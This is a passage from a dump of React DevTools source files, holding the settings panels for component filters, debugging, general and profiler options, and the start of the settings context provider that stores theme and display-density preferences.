updateParseHookNames = useCallback(\n    ({currentTarget}: $FlowFixMe) => {\n      setParseHookNames(currentTarget.checked);\n    },\n    [setParseHookNames],\n  );\n\n  const [componentFilters, setComponentFilters] = useState<\n    Array<ComponentFilter>,\n  >(() => [...store.componentFilters]);\n\n  const usedEnvironmentNames = use(environmentNames);\n\n  const resolvedEnvironmentNames = useMemo(() => {\n    const set = new Set(usedEnvironmentNames);\n    // If there are other filters already specified but are not currently\n    // on the page, we still allow them as options.\n    for (let i = 0; i < componentFilters.length; i++) {\n      const filter = componentFilters[i];\n      if (filter.type === ComponentFilterEnvironmentName) {\n        set.add(filter.value);\n      }\n    }\n    // Client is special and is always available as a default.\n    if (set.size > 0) {\n      // Only show any options at all if there's any other option already\n      // used by a filter or if any environments are used by the page.\n      // Note that \"Client\" can have been added above which would mean\n      // that we should show it as an option regardless if it's the only\n      // option.\n      set.add('Client');\n    }\n    return Array.from(set).sort();\n  }, [usedEnvironmentNames, componentFilters]);\n\n  const addFilter = useCallback(() => {\n    setComponentFilters(prevComponentFilters => {\n      return [\n        ...prevComponentFilters,\n        {\n          type: ComponentFilterElementType,\n          value: ElementTypeHostComponent,\n          isEnabled: true,\n        },\n      ];\n    });\n  }, []);\n\n  const changeFilterType = useCallback(\n    (componentFilter: ComponentFilter, type: ComponentFilterType) => {\n      setComponentFilters(prevComponentFilters => {\n        const cloned: Array<ComponentFilter> = [...prevComponentFilters];\n        const index = prevComponentFilters.indexOf(componentFilter);\n        if (index >= 0) {\n          if (type === ComponentFilterElementType) {\n            cloned[index] = {\n              type: ComponentFilterElementType,\n              isEnabled: componentFilter.isEnabled,\n              value: ElementTypeHostComponent,\n            };\n          } else if (type === ComponentFilterDisplayName) {\n            cloned[index] = {\n              type: ComponentFilterDisplayName,\n              isEnabled: componentFilter.isEnabled,\n              isValid: true,\n              value: '',\n            };\n          } else if (type === ComponentFilterLocation) {\n            cloned[index] = {\n              type: ComponentFilterLocation,\n              isEnabled: componentFilter.isEnabled,\n              isValid: true,\n              value: '',\n            };\n          } else if (type === ComponentFilterHOC) {\n            cloned[index] = {\n              type: ComponentFilterHOC,\n              isEnabled: componentFilter.isEnabled,\n              isValid: true,\n            };\n          } else if (type === ComponentFilterEnvironmentName) {\n            cloned[index] = {\n              type: ComponentFilterEnvironmentName,\n              isEnabled: componentFilter.isEnabled,\n              isValid: true,\n              value: 'Client',\n            };\n          } else if (type === ComponentFilterActivitySlice) {\n            // TODO: Allow changing type\n          }\n        }\n        return cloned;\n      });\n    },\n    [],\n  );\n\n  const updateFilterValueElementType = useCallback(\n    (componentFilter: ComponentFilter, value: ElementType) => {\n      if (componentFilter.type !== ComponentFilterElementType) {\n        throw Error('Invalid value for element type filter');\n      }\n\n      setComponentFilters(prevComponentFilters => {\n        const cloned: Array<ComponentFilter> = [...prevComponentFilters];\n        if (componentFilter.type === ComponentFilterElementType) {\n          const index = prevComponentFilters.indexOf(componentFilter);\n          if (index >= 0) {\n            cloned[index] = {\n              ...componentFilter,\n              value,\n            };\n          }\n        }\n        return cloned;\n      });\n    },\n    [],\n  );\n\n  const updateFilterValueRegExp = useCallback(\n    (componentFilter: ComponentFilter, value: string) => {\n      if (componentFilter.type === ComponentFilterElementType) {\n        throw Error('Invalid value for element type filter');\n      }\n\n      setComponentFilters(prevComponentFilters => {\n        const cloned: Array<ComponentFilter> = [...prevComponentFilters];\n        if (\n          componentFilter.type === ComponentFilterDisplayName ||\n          componentFilter.type === ComponentFilterLocation\n        ) {\n          const index = prevComponentFilters.indexOf(componentFilter);\n          if (index >= 0) {\n            let isValid = true;\n            try {\n              new RegExp(value); // eslint-disable-line no-new\n            } catch (error) {\n              isValid = false;\n            }\n            cloned[index] = {\n              ...componentFilter,\n              isValid,\n              value,\n            };\n          }\n        }\n        return cloned;\n      });\n    },\n    [],\n  );\n\n  const updateFilterValueEnvironmentName = useCallback(\n    (componentFilter: ComponentFilter, value: string) => {\n      if (componentFilter.type !== ComponentFilterEnvironmentName) {\n        throw Error('Invalid value for environment name filter');\n      }\n\n      setComponentFilters(prevComponentFilters => {\n        const cloned: Array<ComponentFilter> = [...prevComponentFilters];\n        if (componentFilter.type === ComponentFilterEnvironmentName) {\n          const index = prevComponentFilters.indexOf(componentFilter);\n          if (index >= 0) {\n            cloned[index] = {\n              ...componentFilter,\n              value,\n            };\n          }\n        }\n        return cloned;\n      });\n    },\n    [],\n  );\n\n  const removeFilter = useCallback((index: number) => {\n    setComponentFilters(prevComponentFilters => {\n      const cloned: Array<ComponentFilter> = [...prevComponentFilters];\n      cloned.splice(index, 1);\n      return cloned;\n    });\n  }, []);\n\n  const removeAllFilter = () => {\n    setComponentFilters([]);\n  };\n\n  const toggleFilterIsEnabled = useCallback(\n    (componentFilter: ComponentFilter, isEnabled: boolean) => {\n      setComponentFilters(prevComponentFilters => {\n        const cloned: Array<ComponentFilter> = [...prevComponentFilters];\n        const index = prevComponentFilters.indexOf(componentFilter);\n        if (index >= 0) {\n          if (componentFilter.type === ComponentFilterElementType) {\n            cloned[index] = {\n              ...((cloned[index]: any): ElementTypeComponentFilter),\n              isEnabled,\n            };\n          } else if (\n            componentFilter.type === ComponentFilterDisplayName ||\n            componentFilter.type === ComponentFilterLocation\n          ) {\n            cloned[index] = {\n              ...((cloned[index]: any): RegExpComponentFilter),\n              isEnabled,\n            };\n          } else if (componentFilter.type === ComponentFilterHOC) {\n            cloned[index] = {\n              ...((cloned[index]: any): BooleanComponentFilter),\n              isEnabled,\n            };\n          } else if (componentFilter.type === ComponentFilterEnvironmentName) {\n            cloned[index] = {\n              ...((cloned[index]: any): EnvironmentNameComponentFilter),\n              isEnabled,\n            };\n          }\n        }\n        return cloned;\n      });\n    },\n    [],\n  );\n\n  // Filter updates are expensive to apply (since they impact the entire tree).\n  // Only apply them on unmount.\n  // The Store will avoid doing any expensive work unless they've changed.\n  // We just want to batch the work in the event that they do change.\n  const componentFiltersRef = useRef<Array<ComponentFilter>>(componentFilters);\n  useEffect(() => {\n    componentFiltersRef.current = componentFilters;\n    return () => {};\n  }, [componentFilters]);\n  useEffect(\n    () => () => {\n      store.componentFilters = [...componentFiltersRef.current];\n    },\n    [store],\n  );\n\n  return (\n    <div className={styles.SettingList}>\n      <div className={styles.SettingWrapper}>\n        <label className={styles.SettingRow}>\n          <input\n            type=\"checkbox\"\n            checked={!collapseNodesByDefault}\n            onChange={updateCollapseNodesByDefault}\n            className={styles.SettingRowCheckbox}\n          />\n          Expand component tree by default\n        </label>\n      </div>\n\n      <div className={styles.SettingWrapper}>\n        <label className={styles.SettingRow}>\n          <input\n            type=\"checkbox\"\n            checked={parseHookNames}\n            onChange={updateParseHookNames}\n            className={styles.SettingRowCheckbox}\n          />\n          Always parse hook names from source&nbsp;\n          <span className={styles.Warning}>(may be slow)</span>\n        </label>\n      </div>\n\n      <div className={styles.Header}>Hide components where...</div>\n\n      <table className={styles.Table}>\n        <tbody>\n          {componentFilters.length === 0 && (\n            <tr className={styles.TableRow}>\n              <td className={styles.NoFiltersCell}>\n                No filters have been added.\n              </td>\n            </tr>\n          )}\n          {componentFilters.map((componentFilter, index) => (\n            <tr className={styles.TableRow} key={index}>\n              <td className={styles.TableCell}>\n                {componentFilter.type !== ComponentFilterActivitySlice && (\n                  <Toggle\n                    className={\n                      componentFilter.isValid !== false\n                        ? ''\n                        : styles.InvalidRegExp\n                    }\n                    isChecked={componentFilter.isEnabled}\n                    onChange={isEnabled =>\n                      toggleFilterIsEnabled(componentFilter, isEnabled)\n                    }\n                    title={\n                      componentFilter.isValid === false\n                        ? 'Filter invalid'\n                        : componentFilter.isEnabled\n                          ? 'Filter enabled'\n                          : 'Filter disabled'\n                    }>\n                    <ToggleIcon\n                      isEnabled={componentFilter.isEnabled}\n                      isValid={\n                        componentFilter.isValid == null ||\n                        componentFilter.isValid === true\n                      }\n                    />\n                  </Toggle>\n                )}\n              </td>\n              <td className={styles.TableCell}>\n                <select\n                  disabled={\n                    componentFilter.type === ComponentFilterActivitySlice\n                  }\n                  value={componentFilter.type}\n                  onChange={({currentTarget}) =>\n                    changeFilterType(\n                      componentFilter,\n                      ((parseInt(\n                        currentTarget.value,\n                        10,\n                      ): any): ComponentFilterType),\n                    )\n                  }>\n                  {/* TODO: currently disabled, need find a new way of doing this\n                    <option value={ComponentFilterLocation}>location</option>\n                  */}\n                  <option value={ComponentFilterDisplayName}>name</option>\n                  <option value={ComponentFilterElementType}>type</option>\n                  <option value={ComponentFilterHOC}>hoc</option>\n                  {resolvedEnvironmentNames.length > 0 && (\n                    <option value={ComponentFilterEnvironmentName}>\n                      environment\n                    </option>\n                  )}\n                  {componentFilter.type === ComponentFilterActivitySlice && (\n                    <option value={ComponentFilterActivitySlice}>\n                      component\n                    </option>\n                  )}\n                </select>\n              </td>\n              <td className={styles.TableCell}>\n                {(componentFilter.type === ComponentFilterElementType ||\n                  componentFilter.type === ComponentFilterEnvironmentName) &&\n                  'equals'}\n                {(componentFilter.type === ComponentFilterLocation ||\n                  componentFilter.type === ComponentFilterDisplayName) &&\n                  'matches'}\n                {componentFilter.type === ComponentFilterActivitySlice &&\n                  'within'}\n              </td>\n              <td className={styles.TableCell}>\n                {componentFilter.type === ComponentFilterElementType && (\n                  <select\n                    value={componentFilter.value}\n                    onChange={({currentTarget}) =>\n                      updateFilterValueElementType(\n                        componentFilter,\n                        ((parseInt(currentTarget.value, 10): any): ElementType),\n                      )\n                    }>\n                    {isInternalFacebookBuild && (\n                      <option value={ElementTypeActivity}>activity</option>\n                    )}\n                    <option value={ElementTypeClass}>class</option>\n                    <option value={ElementTypeContext}>context</option>\n                    <option value={ElementTypeFunction}>function</option>\n                    <option value={ElementTypeForwardRef}>forward ref</option>\n                    <option value={ElementTypeHostComponent}>\n                      {__IS_NATIVE__\n                        ? 'host components (e.g. <RCTText>)'\n                        : 'dom nodes (e.g. <div>)'}\n                    </option>\n                    <option value={ElementTypeMemo}>memo</option>\n                    <option value={ElementTypeOtherOrUnknown}>other</option>\n                    <option value={ElementTypeProfiler}>profiler</option>\n                    <option value={ElementTypeSuspense}>suspense</option>\n                    {isInternalFacebookBuild && (\n                      <option value={ElementTypeViewTransition}>\n                        view transition\n                      </option>\n                    )}\n                  </select>\n                )}\n                {(componentFilter.type === ComponentFilterLocation ||\n                  componentFilter.type === ComponentFilterDisplayName) && (\n                  <input\n                    className={styles.Input}\n                    type=\"text\"\n                    placeholder=\"Regular expression\"\n                    onChange={({currentTarget}) =>\n                      updateFilterValueRegExp(\n                        componentFilter,\n                        currentTarget.value,\n                      )\n                    }\n                    value={componentFilter.value}\n                  />\n                )}\n                {componentFilter.type === ComponentFilterEnvironmentName && (\n                  <select\n                    value={componentFilter.value}\n                    onChange={({currentTarget}) =>\n                      updateFilterValueEnvironmentName(\n                        componentFilter,\n                        currentTarget.value,\n                      )\n                    }>\n                    {resolvedEnvironmentNames.map(name => (\n                      <option key={name} value={name}>\n                        {name}\n                      </option>\n                    ))}\n                  </select>\n                )}\n                {componentFilter.type === ComponentFilterActivitySlice && (\n                  <span>Activity Slice</span>\n                )}\n              </td>\n              <td className={styles.TableCell}>\n                <Button\n                  onClick={() => removeFilter(index)}\n                  title=\"Delete filter\">\n                  <ButtonIcon type=\"delete\" />\n                </Button>\n              </td>\n            </tr>\n          ))}\n        </tbody>\n      </table>\n      <Button onClick={addFilter} title=\"Add filter\">\n        <ButtonIcon className={styles.ButtonIcon} type=\"add\" />\n        Add filter\n      </Button>\n      {componentFilters.length > 0 && (\n        <Button onClick={removeAllFilter} title=\"Delete all filters\">\n          <ButtonIcon className={styles.ButtonIcon} type=\"delete\" />\n          Delete all filters\n        </Button>\n      )}\n    </div>\n  );\n}\n\ntype ToggleIconProps = {\n  isEnabled: boolean,\n  isValid: boolean,\n};\nfunction ToggleIcon({isEnabled, isValid}: ToggleIconProps) {\n  let className;\n  if (isValid) {\n    className = isEnabled ? styles.ToggleOn : styles.ToggleOff;\n  } else {\n    className = isEnabled ? styles.ToggleOnInvalid : styles.ToggleOffInvalid;\n  }\n  return (\n    <div className={className}>\n      <div\n        className={isEnabled ? styles.ToggleInsideOn : styles.ToggleInsideOff}\n      />\n    </div>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Settings/DebuggingSettings.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport {use, useState, useEffect} from 'react';\n\nimport type {DevToolsHookSettings} from 'react-devtools-shared/src/backend/types';\nimport type Store from 'react-devtools-shared/src/devtools/store';\n\nimport styles from './SettingsShared.css';\n\ntype Props = {\n  hookSettings: Promise<$ReadOnly<DevToolsHookSettings>>,\n  store: Store,\n};\n\nexport default function DebuggingSettings({\n  hookSettings,\n  store,\n}: Props): React.Node {\n  const usedHookSettings = use(hookSettings);\n\n  const [appendComponentStack, setAppendComponentStack] = useState(\n    usedHookSettings.appendComponentStack,\n  );\n  const [breakOnConsoleErrors, setBreakOnConsoleErrors] = useState(\n    usedHookSettings.breakOnConsoleErrors,\n  );\n  const [hideConsoleLogsInStrictMode, setHideConsoleLogsInStrictMode] =\n    useState(usedHookSettings.hideConsoleLogsInStrictMode);\n  const [showInlineWarningsAndErrors, setShowInlineWarningsAndErrors] =\n    useState(usedHookSettings.showInlineWarningsAndErrors);\n  const [\n    disableSecondConsoleLogDimmingInStrictMode,\n    setDisableSecondConsoleLogDimmingInStrictMode,\n  ] = useState(usedHookSettings.disableSecondConsoleLogDimmingInStrictMode);\n\n  useEffect(() => {\n    store.setShouldShowWarningsAndErrors(showInlineWarningsAndErrors);\n  }, [showInlineWarningsAndErrors]);\n\n  useEffect(() => {\n    store.updateHookSettings({\n      appendComponentStack,\n      breakOnConsoleErrors,\n      showInlineWarningsAndErrors,\n      hideConsoleLogsInStrictMode,\n      disableSecondConsoleLogDimmingInStrictMode,\n    });\n  }, [\n    store,\n    appendComponentStack,\n    breakOnConsoleErrors,\n    showInlineWarningsAndErrors,\n    hideConsoleLogsInStrictMode,\n    disableSecondConsoleLogDimmingInStrictMode,\n  ]);\n\n  return (\n    <div className={styles.SettingList}>\n      <div className={styles.SettingWrapper}>\n        <label className={styles.SettingRow}>\n          <input\n            type=\"checkbox\"\n            checked={appendComponentStack}\n            onChange={({currentTarget}) =>\n              setAppendComponentStack(currentTarget.checked)\n            }\n            className={styles.SettingRowCheckbox}\n          />\n          Append component stacks to console warnings and errors\n        </label>\n      </div>\n\n      <div className={styles.SettingWrapper}>\n        <label className={styles.SettingRow}>\n          <input\n            type=\"checkbox\"\n            checked={showInlineWarningsAndErrors}\n            onChange={({currentTarget}) =>\n              setShowInlineWarningsAndErrors(currentTarget.checked)\n            }\n            className={styles.SettingRowCheckbox}\n          />\n          Show inline warnings and errors\n        </label>\n      </div>\n\n      <div className={styles.SettingWrapper}>\n        <label className={styles.SettingRow}>\n          <input\n            type=\"checkbox\"\n            checked={breakOnConsoleErrors}\n            onChange={({currentTarget}) =>\n              setBreakOnConsoleErrors(currentTarget.checked)\n            }\n            className={styles.SettingRowCheckbox}\n          />\n          Break on warnings\n        </label>\n      </div>\n\n      <div className={styles.SettingWrapper}>\n        <label className={styles.SettingRow}>\n          <input\n            type=\"checkbox\"\n            checked={hideConsoleLogsInStrictMode}\n            onChange={({currentTarget}) => {\n              setHideConsoleLogsInStrictMode(currentTarget.checked);\n              if (currentTarget.checked) {\n                setDisableSecondConsoleLogDimmingInStrictMode(false);\n              }\n            }}\n            className={styles.SettingRowCheckbox}\n          />\n          Hide logs during additional invocations in&nbsp;\n          <a\n            className={styles.StrictModeLink}\n            target=\"_blank\"\n            rel=\"noopener noreferrer\"\n            href=\"https://react.dev/reference/react/StrictMode\">\n            Strict Mode\n          </a>\n        </label>\n      </div>\n\n      <div\n        className={\n          hideConsoleLogsInStrictMode\n            ? `${styles.SettingDisabled} ${styles.SettingWrapper}`\n            : styles.SettingWrapper\n        }>\n        <label\n          className={\n            hideConsoleLogsInStrictMode\n              ? `${styles.SettingDisabled} ${styles.SettingRow}`\n              : styles.SettingRow\n          }>\n          <input\n            type=\"checkbox\"\n            checked={disableSecondConsoleLogDimmingInStrictMode}\n            disabled={hideConsoleLogsInStrictMode}\n            onChange={({currentTarget}) =>\n              setDisableSecondConsoleLogDimmingInStrictMode(\n                currentTarget.checked,\n              )\n            }\n            className={styles.SettingRowCheckbox}\n          />\n          Disable log dimming during additional invocations in&nbsp;\n          <a\n            className={styles.StrictModeLink}\n            target=\"_blank\"\n            rel=\"noopener noreferrer\"\n            href=\"https://react.dev/reference/react/StrictMode\">\n            Strict Mode\n          </a>\n        </label>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Settings/GeneralSettings.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport {useContext, useMemo} from 'react';\nimport {SettingsContext} from './SettingsContext';\nimport {StoreContext} from '../context';\nimport {CHANGE_LOG_URL} from 'react-devtools-shared/src/devtools/constants';\nimport {isInternalFacebookBuild} from 'react-devtools-feature-flags';\n\nimport styles from './SettingsShared.css';\n\nimport CodeEditorOptions from './CodeEditorOptions';\nimport CodeEditorByDefault from './CodeEditorByDefault';\nimport {LOCAL_STORAGE_ALWAYS_OPEN_IN_EDITOR} from '../../../constants';\nimport {useLocalStorage} from '../hooks';\n\nfunction getChangeLogUrl(version: ?string): string | null {\n  if (!version) {\n    return null;\n  }\n\n  // Version numbers are in the format of: <major>.<minor>.<patch>-<sha>\n  // e.g. \"4.23.0-f0dd459e0\"\n  // GitHub CHANGELOG headers are in the format of: <major>.<minor>.<patch>\n  // but the \".\" are stripped from anchor tags, becomming: <major><minor><patch>\n  const versionAnchor = version.replace(/^(\\d+)\\.(\\d+)\\.(\\d+).*/, '$1$2$3');\n  return `${CHANGE_LOG_URL}#${versionAnchor}`;\n}\n\nexport default function GeneralSettings(_: {}): React.Node {\n  const {\n    displayDensity,\n    setDisplayDensity,\n    setTheme,\n    setTraceUpdatesEnabled,\n    theme,\n    traceUpdatesEnabled,\n  } = useContext(SettingsContext);\n\n  const {backendVersion, supportsTraceUpdates} = useContext(StoreContext);\n  const frontendVersion = process.env.DEVTOOLS_VERSION;\n\n  const showBackendVersion =\n    backendVersion && backendVersion !== frontendVersion;\n\n  const [alwaysOpenInEditor] = useLocalStorage<boolean>(\n    LOCAL_STORAGE_ALWAYS_OPEN_IN_EDITOR,\n    false,\n  );\n\n  return (\n    <div className={styles.SettingList}>\n      {isInternalFacebookBuild && (\n        <div className={styles.SettingWrapper}>\n          This is an internal build of React DevTools for Meta\n        </div>\n      )}\n\n      <div className={styles.SettingWrapper}>\n        <div className={styles.RadioLabel}>Theme</div>\n        <select\n          value={theme}\n          onChange={({currentTarget}) => setTheme(currentTarget.value)}>\n          <option value=\"auto\">Auto</option>\n          <option value=\"light\">Light</option>\n          <option value=\"dark\">Dark</option>\n        </select>\n      </div>\n\n      <div className={styles.SettingWrapper}>\n        <div className={styles.RadioLabel}>Display density</div>\n        <select\n          value={displayDensity}\n          onChange={({currentTarget}) =>\n            setDisplayDensity(currentTarget.value)\n          }>\n          <option value=\"compact\">Compact</option>\n          <option value=\"comfortable\">Comfortable</option>\n        </select>\n      </div>\n\n      <div className={styles.SettingWrapper}>\n        <label className={styles.SettingRow}>\n          <div className={styles.RadioLabel}>Open in Editor URL</div>\n          <CodeEditorOptions />\n        </label>\n      </div>\n\n      <div className={styles.SettingWrapper}>\n        <CodeEditorByDefault />\n        {alwaysOpenInEditor && (__IS_CHROME__ || __IS_EDGE__) ? (\n          <div>\n            To enable link handling in your browser's DevTools settings, look\n            for the option Extension -> Link Handling. Select \"React Developer\n            Tools\".\n          </div>\n        ) : null}\n      </div>\n\n      {supportsTraceUpdates && (\n        <div className={styles.SettingWrapper}>\n          <label className={styles.SettingRow}>\n            <input\n              type=\"checkbox\"\n              checked={traceUpdatesEnabled}\n              onChange={({currentTarget}) =>\n                setTraceUpdatesEnabled(currentTarget.checked)\n              }\n              className={styles.SettingRowCheckbox}\n            />\n            Highlight updates when components render\n          </label>\n        </div>\n      )}\n\n      <div className={styles.ReleaseNotes}>\n        {showBackendVersion && (\n          <div>\n            <ul className={styles.VersionsList}>\n              <li>\n                <Version\n                  label=\"DevTools backend version:\"\n                  version={backendVersion}\n                />\n              </li>\n              <li>\n                <Version\n                  label=\"DevTools frontend version:\"\n                  version={frontendVersion}\n                />\n              </li>\n            </ul>\n          </div>\n        )}\n        {!showBackendVersion && (\n          <Version label=\"DevTools version:\" version={frontendVersion} />\n        )}\n      </div>\n    </div>\n  );\n}\n\nfunction Version({label, version}: {label: string, version: ?string}) {\n  const changelogLink = useMemo(() => {\n    return getChangeLogUrl(version);\n  }, [version]);\n\n  if (version == null) {\n    return null;\n  } else {\n    return (\n      <>\n        {label}{' '}\n        <a\n          className={styles.ReleaseNotesLink}\n          target=\"_blank\"\n          rel=\"noopener noreferrer\"\n          href={changelogLink}>\n          {version}\n        </a>\n      </>\n    );\n  }\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Settings/ProfilerSettings.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport {useCallback, useContext, useMemo, useRef} from 'react';\nimport {useSubscription} from '../hooks';\nimport {StoreContext} from '../context';\nimport {ProfilerContext} from 'react-devtools-shared/src/devtools/views/Profiler/ProfilerContext';\n\nimport styles from './SettingsShared.css';\nimport typeof {SyntheticEvent} from 'react-dom-bindings/src/events/SyntheticEvent';\n\nexport default function ProfilerSettings(_: {}): React.Node {\n  const {\n    isCommitFilterEnabled,\n    minCommitDuration,\n    setIsCommitFilterEnabled,\n    setMinCommitDuration,\n  } = useContext(ProfilerContext);\n  const store = useContext(StoreContext);\n\n  const recordChangeDescriptionsSubscription = useMemo(\n    () => ({\n      getCurrentValue: () => store.recordChangeDescriptions,\n      subscribe: (callback: Function) => {\n        store.addListener('recordChangeDescriptions', callback);\n        return () => store.removeListener('recordChangeDescriptions', callback);\n      },\n    }),\n    [store],\n  );\n  const recordChangeDescriptions = useSubscription<boolean>(\n    recordChangeDescriptionsSubscription,\n  );\n\n  const updateRecordChangeDescriptions = useCallback(\n    ({currentTarget}: $FlowFixMe) => {\n      store.recordChangeDescriptions = currentTarget.checked;\n    },\n    [store],\n  );\n  const updateMinCommitDuration = useCallback(\n    (event: SyntheticEvent) => {\n      const newValue = parseFloat(event.currentTarget.value);\n      setMinCommitDuration(\n        Number.isNaN(newValue) || newValue <= 0 ? 0 : newValue,\n      );\n    },\n    [setMinCommitDuration],\n  );\n  const updateIsCommitFilterEnabled = useCallback(\n    (event: SyntheticEvent) => {\n      const checked = event.currentTarget.checked;\n      setIsCommitFilterEnabled(checked);\n      if (checked) {\n        if (minCommitDurationInputRef.current !== null) {\n          minCommitDurationInputRef.current.focus();\n        }\n      }\n    },\n    [setIsCommitFilterEnabled],\n  );\n\n  const minCommitDurationInputRef = useRef<HTMLInputElement | null>(null);\n\n  return (\n    <div className={styles.SettingList}>\n      <div className={styles.SettingWrapper}>\n        <label className={styles.SettingRow}>\n          <input\n            type=\"checkbox\"\n            checked={recordChangeDescriptions}\n            onChange={updateRecordChangeDescriptions}\n            className={styles.SettingRowCheckbox}\n          />\n          Record why each component rendered while profiling\n        </label>\n      </div>\n\n      <div className={styles.SettingWrapper}>\n        <label className={styles.SettingRow}>\n          <input\n            checked={isCommitFilterEnabled}\n            onChange={updateIsCommitFilterEnabled}\n            type=\"checkbox\"\n            className={styles.SettingRowCheckbox}\n          />\n          Hide commits below\n          <input\n            className={styles.Input}\n            onChange={updateMinCommitDuration}\n            ref={minCommitDurationInputRef}\n            type=\"number\"\n            value={minCommitDuration}\n          />\n          &nbsp;(ms)\n        </label>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Settings/SettingsContext.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {ReactContext} from 'shared/ReactTypes';\n\nimport * as React from 'react';\nimport {\n  createContext,\n  useContext,\n  useEffect,\n  useLayoutEffect,\n  useMemo,\n} from 'react';\nimport {\n  LOCAL_STORAGE_BROWSER_THEME,\n  LOCAL_STORAGE_PARSE_HOOK_NAMES_KEY,\n  LOCAL_STORAGE_TRACE_UPDATES_ENABLED_KEY,\n} from 'react-devtools-shared/src/constants';\nimport {\n  COMFORTABLE_LINE_HEIGHT,\n  COMPACT_LINE_HEIGHT,\n} from 'react-devtools-shared/src/devtools/constants';\nimport {useLocalStorage} from '../hooks';\nimport {BridgeContext} from '../context';\nimport {logEvent} from 'react-devtools-shared/src/Logger';\n\nimport type {BrowserTheme} from 'react-devtools-shared/src/frontend/types';\n\nexport type DisplayDensity = 'comfortable' | 'compact';\nexport type Theme = 'auto' | 'light' | 'dark';\n\ntype Context = {\n  displayDensity: DisplayDensity,\n  setDisplayDensity(value: DisplayDensity): void,\n\n  // Derived from display density.\n  // Specified as a separate prop so it can trigger a re-render of FixedSizeList.\n  lineHeight: number,\n\n  parseHookNames: boolean,\n  setParseHookNames: (value: boolean) => void,\n\n  theme: Theme,\n  setTheme(value: Theme): void,\n\n  browserTheme: Theme,\n\n  traceUpdatesEnabled: boolean,\n  setTraceUpdatesEnabled: (value: boolean) => void,\n};\n\nconst SettingsContext: ReactContext<Context> = createContext<Context>(\n  ((null: any): Context),\n);\nSettingsContext.displayName = 'SettingsContext';\n\nfunction useLocalStorageWithLog<T>(\n  key: string,\n  initialValue: T | (() => T),\n): [T, (value: T | (() => T)) => void] {\n  return useLocalStorage<T>(key, initialValue, (v, k) => {\n    logEvent({\n      event_name: 'settings-changed',\n      metadata: {\n        source: 'localStorage setter',\n        key: k,\n        value: v,\n      },\n    });\n  });\n}\n\ntype DocumentElements = Array<HTMLElement>;\n\ntype Props = {\n  browserTheme: BrowserTheme,\n  children: React$Node,\n  componentsPortalContainer?: Element,\n  profilerPortalContainer?: Element,\n  suspensePortalContainer?: Element,\n};\n\nfunction SettingsContextController({\n  browserTheme,\n  children,\n  componentsPortalContainer,\n  profilerPortalContainer,\n  suspensePortalContainer,\n}: Props): React.Node {\n  const bridge = useContext(BridgeContext);\n\n  const [displayDensity, setDisplayDensity] =\n    useLocalStorageWithLog<DisplayDensity>(\n      'React::DevTools::displayDensity',\n      'compact',\n    );\n  const [theme, setTheme] = useLocalStorageWithLog<Theme>(\n    LOCAL_STORAGE_BROWSER_THEME,\n    'auto',\n  );\n  const [parseHookNames, setParseHookNames] = useLocalStorageWithLog<boolean>(\n    LOCAL_STORAGE_PARSE_HOOK_NAMES_KEY,\n    false,\n  );\n  const [traceUpdatesEnabled, setTraceUpdatesEnabled] =\n    useLocalStorageWithLog<boolean>(\n      LOCAL_STORAGE_TRACE_UPDATES_ENABLED_KEY,\n      false,\n    );\n\n  const documentElements = useMemo<DocumentElements>(() => {\n    const array: Array<HTMLElement> = [\n      ((document.documentElement: any): HTMLElement),\n    ];\n    if (componentsPortalContainer != null) {\n      array.push(\n        ((componentsPortalContainer.ownerDocument\n          .documentElement: any): HTMLElement),\n      );\n    }\n    if (profilerPortalContainer != null) {\n      array.push(\n        ((profilerPortalContainer.ownerDocument\n          .documentElement: any): HTMLElement),\n      );\n    }\n    if (suspensePortalContainer != null) {\n      array.push(\n        ((suspensePortalContainer.ownerDocument\n          .documentElement: any): HTMLElement),\n      );\n    }\n    return array;\n  }, [\n    componentsPortalContainer,\n    profilerPortalContainer,\n    suspensePortalContainer,\n  ]);\n\n  useLayoutEffect(() => {\n    switch (displayDensity) {\n      case 'comfortable':\n        updateDisplayDensity('comfortable', documentElements);\n        break;\n      case 'compact':\n        updateDisplayDensity('compact', documentElements);\n        break;\n      default:\n        throw Error(`Unsupported displayDensity value \"${displayDensity}\"`);\n    }\n  }, [displayDensity, documentElements]);\n\n  useLayoutEffect(() => {\n    switch (theme) {\n      case 'light':\n        updateThemeVariables('light', documentElements);\n        break;\n      case 'dark':\n        updateThemeVariables('dark', documentElements);\n        break;\n      case 'auto':\n        updateThemeVariables(browserTheme, documentElements);\n        break;\n      default:\n        throw Error(`Unsupported theme value \"${theme}\"`);\n    }\n  }, [browserTheme, theme, documentElements]);\n\n  useEffect(() => {\n    bridge.send('setTraceUpdatesEnabled', traceUpdatesEnabled);\n  }, [bridge, traceUpdatesEnabled]);\n\n  const value: Context = useMemo(\n    () => ({\n      displayDensity,\n      lineHeight:\n        displayDensity === 'compact'\n          ? COMPACT_LINE_HEIGHT\n          : COMFORTABLE_LINE_HEIGHT,\n      parseHookNames,\n      setDisplayDensity,\n      setParseHookNames,\n      setTheme,\n      setTraceUpdatesEnabled,\n      theme,\n      browserTheme,\n      traceUpdatesEnabled,\n    }),\n    [\n      displayDensity,\n      parseHookNames,\n      setDisplayDensity,\n      setParseHookNames,\n      setTheme,\n      setTraceUpdatesEnabled,\n      theme,\n      browserTheme,\n      traceUpdatesEnabled,\n    ],\n  );\n\n  return (\n    <SettingsContext.Provider value={value}>\n      {children}\n    </SettingsContext.Provider>\n  );\n}\n\nexport function updateDisplayDensity(\n  displayDensity: DisplayDensity,\n  documentElements: DocumentElements,\n): void {\n  // Sizes and paddings/margins are all 